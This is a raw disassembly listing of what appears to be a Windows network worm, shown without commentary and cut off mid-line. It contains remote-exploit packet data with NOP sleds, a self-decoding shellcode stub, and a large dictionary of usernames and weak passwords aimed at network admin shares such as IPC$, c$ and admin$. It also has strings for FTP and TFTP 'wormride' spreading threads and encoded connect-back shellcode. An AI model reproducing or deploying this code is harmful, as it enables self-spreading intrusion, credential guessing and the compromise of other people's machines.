48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 align 10h jmp short loc_41B84A ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B852 ; --------------------------------------------------------------------------- loc_41B84A: ; CODE XREF: BrattyUS:0041B840j nop nop db 67h adc eax, 8EB767Ah loc_41B852: ; CODE XREF: BrattyUS:0041B848j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 9090767Ah nop nop nop nop nop jmp short loc_41B8A1 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B8A1: ; CODE XREF: BrattyUS:0041B897j nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_41B97E ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B986 ; --------------------------------------------------------------------------- loc_41B97E: ; CODE XREF: BrattyUS:0041B974j nop nop db 67h adc eax, 8EB767Ah loc_41B986: ; CODE XREF: BrattyUS:0041B97Cj nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop jns short near ptr word_41B9F6 add [ecx], eax jmp short loc_41B9C6 ; --------------------------------------------------------------------------- align 10h dd 767A1567h db 2 dup(90h) ; --------------------------------------------------------------------------- loc_41B9C6: ; CODE XREF: BrattyUS:0041B9BCj nop nop nop nop nop jmp short loc_41B9D5 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B9D5: ; CODE XREF: BrattyUS:0041B9CBj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 7E0h, 4, 0 db 2 dup(0) word_41B9F6 dw 0 ; CODE XREF: BrattyUS:0041B9B8j dd 0D0EC8166h, 7, 129F74h, 0 dd 127D78h, 0 ; --------------------------------------------------------------------------- pusha jmp short loc_41BA16 ; =============== S U B R O U T I N E ======================================= sub_41BA13 proc near ; CODE XREF: BrattyUS:loc_41BA16p pop ebx push ebx retn sub_41BA13 endp ; --------------------------------------------------------------------------- loc_41BA16: ; CODE XREF: BrattyUS:0041BA11j call sub_41BA13 xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_41BA23: ; CODE XREF: BrattyUS:0041BA4Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_41BA23 popa add [ebx+31h], al mov ebp, 7FC77h add [ecx], al inc ebx loc_41BA5A: ; CODE XREF: BrattyUS:0041BA5Cj xor eax, eax ja short loc_41BA5A pop es ; --------------------------------------------------------------------------- db 0 dd 4F020100h, 7E7655Bh, 0 dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r ; sub_410F60+73r ... dword_41BB01 dd 0 ; DATA XREF: sub_410F60+A3r db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-7FFFBE3Dh], cl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [ebx+eax*8+41h], ah add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [ebx+eax*8+41h], dl add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC ; "c$" dd offset aD ; "d$" ; --------------------------------------------------------------------------- fadd st(2), st inc ecx add al, dl retn 41h ; --------------------------------------------------------------------------- dd offset aDShared ; "d$\\shared" ; --------------------------------------------------------------------------- mov eax, 0AC0041C2h retn 41h ; --------------------------------------------------------------------------- mov al, ds:8C0041C2h retn 41h ; --------------------------------------------------------------------------- dd offset aCWindowsSystem ; "c$\\windows\\system32" ; --------------------------------------------------------------------------- push 600041C2h retn 41h ; --------------------------------------------------------------------------- xor dl, al inc ecx add [eax], ch retn 41h ; --------------------------------------------------------------------------- dd offset aIpc ; "IPC$" dd 0 dd offset byte_41DF00 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" ; --------------------------------------------------------------------------- aam 0C4h inc ecx add al, cl les eax, [ecx+0] rol ah, 41h add [eax-4BFFBE3Ch], bh les eax, [ecx+0] sbb al, 0C2h inc ecx add [eax], bl retn 41h ; --------------------------------------------------------------------------- adc al, 0C2h inc ecx add [eax], cl retn 41h ; --------------------------------------------------------------------------- cld rol dword ptr [ecx+0], 0F4h rol dword ptr [ecx+0], 0F0h rol dword ptr [ecx+0], 0E4h rol dword ptr [ecx+0], 0DCh rol dword ptr [ecx+0], 0D8h rol dword ptr [ecx+0], 0D4h rol dword ptr [ecx+0], 0D0h rol dword ptr [ecx+0], 0CCh rol dword ptr [ecx+0], 0C8h rol dword ptr [ecx+0], 0C0h rol dword ptr [ecx+0], 0B8h rol dword ptr [ecx+0], 0B0h rol dword ptr [ecx+0], 0A8h rol dword ptr [ecx+0], 9Ch rol dword ptr [ecx+0], 90h rol dword ptr [ecx+0], 84h rol dword ptr [ecx+0], 7Ch rol dword ptr [ecx+0], 70h rol dword ptr [ecx+0], 68h rol dword ptr [ecx+0], 60h rol dword ptr [ecx+0], 50h xchg eax, edx inc ecx add [eax-3Fh], bl inc ecx add [eax+44004198h], dl xchg eax, edx inc ecx add [eax-3Fh], dl inc ecx add [eax-3Fh], cl inc ecx add [eax-3Fh], al inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], bh inc ecx add [eax+eax*8+41h], ch add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-40h], ah inc ecx add [eax-40h], bl inc ecx add [eax-40h], dl inc ecx add [eax-40h], cl inc ecx add al, dh rol byte ptr [ecx+0], 88h retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], al inc ecx add [eax], bh rol byte ptr [ecx+0], 30h rol byte ptr [ecx+0], 28h rol byte ptr [ecx+0], 80h retn ; --------------------------------------------------------------------------- inc ecx add [eax+eax*8], bl inc ecx add [eax+eax*8], cl inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [eax+eax*8], al inc ecx add al, bh mov edi, 0BFE80041h inc ecx add [ebx+eax*8+41h], ah add ah, dl mov edi, 0BFD00041h inc ecx add ah, cl mov edi, 0BFC40041h inc ecx add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [eax-5BFFBE41h], dh mov edi, 0C3540041h inc ecx add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax-67FFBE41h], ah mov edi, 0BF940041h inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [edi+edi*4-407BFFBFh], cl inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 aBlank db 'blank',0 align 4 aXp_0 db 'xp',0 align 4 aNokia db 'nokia',0 align 10h aHp db 'hp',0 align 4 aOrainstall db 'orainstall',0 align 10h aSqlpassoainsta db 'sqlpassoainstall',0 align 4 aDb1234 db 'db1234',0 align 4 aDb2 db 'db2',0 aDb1 db 'db1',0 aDatabasepasswo db 'databasepassword',0 align 4 aDatabasepass db 'databasepass',0 align 4 aDbpassword db 'dbpassword',0 align 4 aDbpass db 'dbpass',0 align 4 aDomainpassword db 'domainpassword',0 align 4 aDomainpass db 'domainpass',0 align 4 aHello db 'hello',0 align 10h aHell db 'hell',0 align 4 aLove db 'love',0 align 10h aMoney db 'money',0 align 4 aSlut db 'slut',0 align 10h aBitch db 'bitch',0 align 4 aFuck db 'fuck',0 align 10h aExchange db 'exchange',0 align 4 aLoginpass db 'loginpass',0 align 4 aLogin db 'login',0 align 10h aQwe db 'qwe',0 ; DATA XREF: BrattyUS:0041BE4Co aZxc db 'zxc',0 ; DATA XREF: BrattyUS:0041BE48o aAsd db 'asd',0 ; DATA XREF: BrattyUS:0041BE44o aQaz db 'qaz',0 ; DATA XREF: BrattyUS:0041BE40o aWin2000 db 'win2000',0 ; DATA XREF: BrattyUS:0041BE3Co aWinnt db 'winnt',0 ; DATA XREF: BrattyUS:0041BE38o align 10h aWinxp db 'winxp',0 ; DATA XREF: BrattyUS:0041BE34o align 4 aWin2k db 'win2k',0 ; DATA XREF: BrattyUS:0041BE30o align 10h aWin98 db 'win98',0 ; DATA XREF: BrattyUS:0041BE2Co align 4 aWindows db 'windows',0 ; DATA XREF: BrattyUS:0041BE28o aOeminstall db 'oeminstall',0 ; DATA XREF: BrattyUS:0041BE20o align 4 aOem db 'oem',0 ; DATA XREF: BrattyUS:0041BE18o aAccounting db 'accounting',0 ; DATA XREF: BrattyUS:0041BE08o align 4 aAccounts db 'accounts',0 ; DATA XREF: BrattyUS:0041BE04o align 4 aLetmein db 'letmein',0 ; DATA XREF: BrattyUS:0041BE00o aSex db 'sex',0 ; DATA XREF: BrattyUS:0041BDFCo aOutlook db 'outlook',0 ; DATA XREF: BrattyUS:0041BDECo aMail db 'mail',0 ; DATA XREF: BrattyUS:0041BDE8o align 4 aQwerty db 'qwerty',0 ; DATA XREF: BrattyUS:0041BDE4o align 4 aTemp123 db 'temp123',0 ; DATA XREF: BrattyUS:0041BDE0o aTemp db 'temp',0 ; DATA XREF: BrattyUS:0041BDDCo align 4 aNull db 'null',0 ; DATA XREF: BrattyUS:0041BDD8o align 4 aDefault db 'default',0 ; DATA XREF: BrattyUS:0041BDC8o aChangeme db 'changeme',0 ; DATA XREF: BrattyUS:0041BDC4o align 4 aDemo db 'demo',0 ; DATA XREF: BrattyUS:0041BDB4o align 10h aTest db 'test',0 align 4 a2005 db '2005',0 align 10h a2004 db '2004',0 align 4 a2001 db '2001',0 align 10h aSecret db 'secret',0 align 4 aPayday db 'payday',0 align 10h aDeadline db 'deadline',0 align 4 aWork db 'work',0 align 4 a1234567890 db '1234567890',0 align 10h a123456789 db '123456789',0 align 4 a12345678 db '12345678',0 align 4 a1234567 db '1234567',0 a123456 db '123456',0 align 4 a12345 db '12345',0 align 10h a1234 db '1234',0 align 4 a123 db '123',0 a12 db '12',0 align 10h a1: unicode 0, <1>,0 a007 db '007',0 aPwd db 'pwd',0 aPass db 'pass',0 align 4 aPass1234 db 'pass1234',0 align 10h aDba db 'dba',0 aPasswd db 'passwd',0 align 4 aPassword db 'password',0 ; DATA XREF: BrattyUS:0041D840o align 4 aPassword1 db 'password1',0 align 4 aAbc db 'abc',0 aAb db 'ab',0 align 4 aA_0: unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: BrattyUS:0041BD04o align 4 aPrint db 'print$',0 align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 aAdmin_0 db 'admin$',0 align 4 aAdminSystem32 db 'Admin$\system32',0 aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: BrattyUS:0041BCF0o aCWinntSystem32 db 'c$\winnt\system32',0 align 10h aCWindows db 'c$\windows',0 align 4 aCWinnt db 'c$\winnt',0 align 4 aEShared db 'e$\shared',0 align 4 aDShared db 'd$\shared',0 ; DATA XREF: BrattyUS:0041BCDCo align 10h aCShared db 'c$\shared',0 align 4 aE db 'e$',0 align 10h aD db 'd$',0 ; DATA XREF: BrattyUS:0041BCD0o align 4 aC db 'c$',0 ; DATA XREF: BrattyUS:0041BCCCo align 4 aStaff db 'staff',0 ; DATA XREF: BrattyUS:0041BCC4o ; BrattyUS:0041BF7Co align 10h aTeacher db 'teacher',0 ; DATA XREF: BrattyUS:0041BCC0o ; BrattyUS:0041BF78o aOwner db 'owner',0 align 10h aStudent db 'student',0 ; DATA XREF: BrattyUS:0041BCB8o ; BrattyUS:0041BF70o aIntranet db 'intranet',0 align 4 aLan_0 db 'lan',0 aMain db 'main',0 ; DATA XREF: sub_416AC5+5o ; BrattyUS:00416AECo align 10h aOffice db 'office',0 align 4 aControl db 'control',0 aSiemens db 'siemens',0 aCompaq db 'compaq',0 align 10h aDell db 'dell',0 align 4 aCisco db 'cisco',0 align 10h aIbm db 'ibm',0 aOracle db 'oracle',0 align 4 aSql db 'sql',0 aSa db 'sa',0 align 4 aData db 'data',0 align 4 aAccess db 'access',0 align 4 aDatabase db 'database',0 align 10h aDomain db 'domain',0 align 4 aGod db 'god',0 aBackup db 'backup',0 align 4 aTechnical db 'technical',0 align 10h aMary db 'mary',0 align 4 aKatie db 'katie',0 align 10h aKate db 'kate',0 align 4 aGeorge db 'george',0 align 10h aEric db 'eric',0 align 4 aNone db 'none',0 align 10h aGuest db 'guest',0 align 4 aChris db 'chris',0 align 10h aIan db 'ian',0 aNeil db 'neil',0 align 4 aLee db 'lee',0 aBrian db 'brian',0 align 4 aSusan db 'susan',0 align 10h aSue db 'sue',0 ; DATA XREF: BrattyUS:0041BC24o ; BrattyUS:0041BE78o aSam db 'sam',0 ; DATA XREF: BrattyUS:0041BC20o ; BrattyUS:0041BE74o aLuke db 'luke',0 ; DATA XREF: BrattyUS:0041BC1Co ; BrattyUS:0041BE70o align 10h aPeter db 'peter',0 ; DATA XREF: BrattyUS:0041BC18o ; BrattyUS:0041BE6Co align 4 aJohn db 'john',0 ; DATA XREF: BrattyUS:0041BC14o ; BrattyUS:0041BE68o align 10h aMike db 'mike',0 ; DATA XREF: BrattyUS:0041BC10o ; BrattyUS:0041BE64o align 4 aBill db 'bill',0 ; DATA XREF: BrattyUS:0041BC0Co ; BrattyUS:0041BE60o align 10h aFred db 'fred',0 ; DATA XREF: BrattyUS:0041BC08o ; BrattyUS:0041BE5Co align 4 aJoe db 'joe',0 ; DATA XREF: BrattyUS:0041BC04o ; BrattyUS:0041BE58o aJen db 'jen',0 ; DATA XREF: BrattyUS:0041BC00o ; BrattyUS:0041BE54o aBob db 'bob',0 ; DATA XREF: BrattyUS:0041BBFCo ; BrattyUS:0041BE50o aWwwadmin db 'wwwadmin',0 ; DATA XREF: BrattyUS:0041BBF8o ; BrattyUS:0041BE24o align 10h aOemuser db 'oemuser',0 ; DATA XREF: BrattyUS:0041BBF4o ; BrattyUS:0041BE1Co aUser db 'user',0 ; DATA XREF: BrattyUS:0041BBF0o ; BrattyUS:0041BE14o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: BrattyUS:0041BBECo ; BrattyUS:0041BE10o align 4 aHome db 'home',0 ; DATA XREF: BrattyUS:0041BBE8o ; BrattyUS:0041BE0Co align 4 aInternet db 'internet',0 ; DATA XREF: BrattyUS:0041BBE4o ; BrattyUS:0041BDF8o align 10h aWww db 'www',0 ; DATA XREF: BrattyUS:0041BBE0o ; BrattyUS:0041BDF4o aWeb db 'web',0 ; DATA XREF: BrattyUS:0041BBDCo ; BrattyUS:0041BDF0o aRoot db 'root',0 ; DATA XREF: BrattyUS:0041BBD8o ; BrattyUS:0041BDD4o align 10h aServer_0 db 'server',0 ; DATA XREF: BrattyUS:0041BBD4o ; BrattyUS:0041BDD0o align 4 aLinux db 'linux',0 ; DATA XREF: BrattyUS:0041BBCCo ; BrattyUS:0041BDC0o align 10h aUnix db 'unix',0 ; DATA XREF: BrattyUS:0041BBC8o ; BrattyUS:0041BDBCo align 4 aComputer db 'computer',0 ; DATA XREF: BrattyUS:0041BBC4o ; BrattyUS:0041BDB8o align 4 aAdm db 'adm',0 ; DATA XREF: BrattyUS:0041BBC0o aAdmin db 'admin',0 ; DATA XREF: BrattyUS:0041BBBCo align 10h aAdmins db 'admins',0 ; DATA XREF: BrattyUS:0041BBB8o align 4 aAdministrat db 'administrat',0 ; DATA XREF: BrattyUS:0041BBB4o aAdministrateur db 'administrateur',0 ; DATA XREF: BrattyUS:0041BBB0o align 4 aAdministrador db 'administrador',0 ; DATA XREF: BrattyUS:0041BBACo ; BrattyUS:0041BD14o align 4 aAdministrator db 'administrator',0 ; DATA XREF: BrattyUS:0041BBA8o ; BrattyUS:0041BD10o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B:loc_4119BAo a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+843o dword_41C514 dd 74A60h ; DATA XREF: sub_41113B+834r align 10h unk_41C520 db 2Dh ; - ; DATA XREF: sub_41113B+80Do db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: sub_41113B+808o dword_41C54C dd 11A328h ; DATA XREF: sub_41113B+73Er dd 2 dup(0) dword_41C558 dd 20363232h, 0A0D2Dh ; DATA XREF: sub_41113B+6F7o ; sub_41113B+7AAo aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+5C7o ; sub_41113B+751o dword_41C5DC dd 13CFA0h ; DATA XREF: sub_41113B+5B4r dd 2 dup(0) dword_41C5E8 dd 20333132h, 0A0D7525h, 0 ; DATA XREF: sub_41113B+56Do dword_41C5F4 dd 160250h ; DATA XREF: sub_41113B+4EDr align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o align 4 dword_41C614 dd 165620h ; DATA XREF: sub_41113B+3EAr align 10h dword_41C620 dd 20353234h, 0A0D2Dh ; DATA XREF: sub_41113B+3A3o dword_41C628 dd 150BD8h ; DATA XREF: sub_41113B+394r dd 2 dup(0) dword_41C634 dd 20303032h, 0A0D2Dh ; DATA XREF: sub_41113B+34Do ; sub_41113B+4A6o dword_41C63C dd 0C4110h ; DATA XREF: sub_41113B+33Er dd 2 dup(0) dword_41C648 dd 20373532h, 20222F22h, 0A0D2Dh ; DATA XREF: sub_41113B+2F7o dword_41C654 dd 2B020h ; DATA XREF: sub_41113B+2E8r dd 0 dword_41C65C dd 20313132h, 0A0D2Dh ; DATA XREF: sub_41113B+2A1o dword_41C664 dd 0A6BE0h ; DATA XREF: sub_41113B+292r align 10h dword_41C670 dd 20353132h, 0A0D2Dh ; DATA XREF: sub_41113B+24Bo dword_41C678 dd 162FA0h ; DATA XREF: sub_41113B+23Cr dd 2 dup(0) dword_41C684 dd 20303332h, 0A0D2Dh ; DATA XREF: sub_41113B+1E1o dword_41C68C dd 151098h ; DATA XREF: sub_41113B+1C8r dd 2 dup(0) dword_41C698 dd 20313333h, 0A0D2Dh ; DATA XREF: sub_41113B+181o dword_41C6A0 dd 0CC2A8h ; DATA XREF: sub_41113B+16Br dd 2 dup(0) dword_41C6AC dd 0A0D20h ; DATA XREF: sub_41113B+E9o ; sub_41113B+115o ... dword_41C6B0 dd 20303232h, 0A0D2Dh ; DATA XREF: sub_41113B+13o dword_41C6B8 dd 303332h ; DATA XREF: sub_411A09+193o dword_41C6BC dd 53534150h, 0A0D3120h, 0 ; DATA XREF: sub_411A09+11Do dword_41C6C8 dd 313333h ; DATA XREF: sub_411A09+F9o dword_41C6CC dd 52455355h, 0A0D3120h, 0 ; DATA XREF: sub_411A09:loc_411A8Ao dword_41C6D8 dd 303232h ; DATA XREF: sub_411A09+63o unk_41C6DC db 2Dh ; - ; DATA XREF: sub_411BBC+115o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o dword_41C724 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411DC5+5E2o unk_41C730 db 2Dh ; - ; DATA XREF: sub_411DC5+5BDo db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: sub_411DC5+5B8o align 4 dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_411DC5+367o aOctet db 'octet',0 ; DATA XREF: sub_411DC5+333o ; sub_411DC5+345o align 4 unk_41C788 db 2Dh ; - ; DATA XREF: sub_411DC5+144o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo align 4 loc_41C7C8: ; DATA XREF: sub_4125DF+50o jmp short loc_41C7DF ; --------------------------------------------------------------------------- loc_41C7CA: ; CODE XREF: BrattyUS:loc_41C7DFp mov ecx, 0 xor ecx, 0 pop esi loc_41C7D6: ; CODE XREF: BrattyUS:0041C7DBj xor byte ptr [ecx+esi-1], 0 loop loc_41C7D6 jmp short near ptr dword_41C7E4 ; --------------------------------------------------------------------------- loc_41C7DF: ; CODE XREF: BrattyUS:loc_41C7C8j call loc_41C7CA ; --------------------------------------------------------------------------- dword_41C7E4 dd 0 ; CODE XREF: BrattyUS:0041C7DDj dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+CBo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C89C dd 8B64DB33h, 408B3043h, 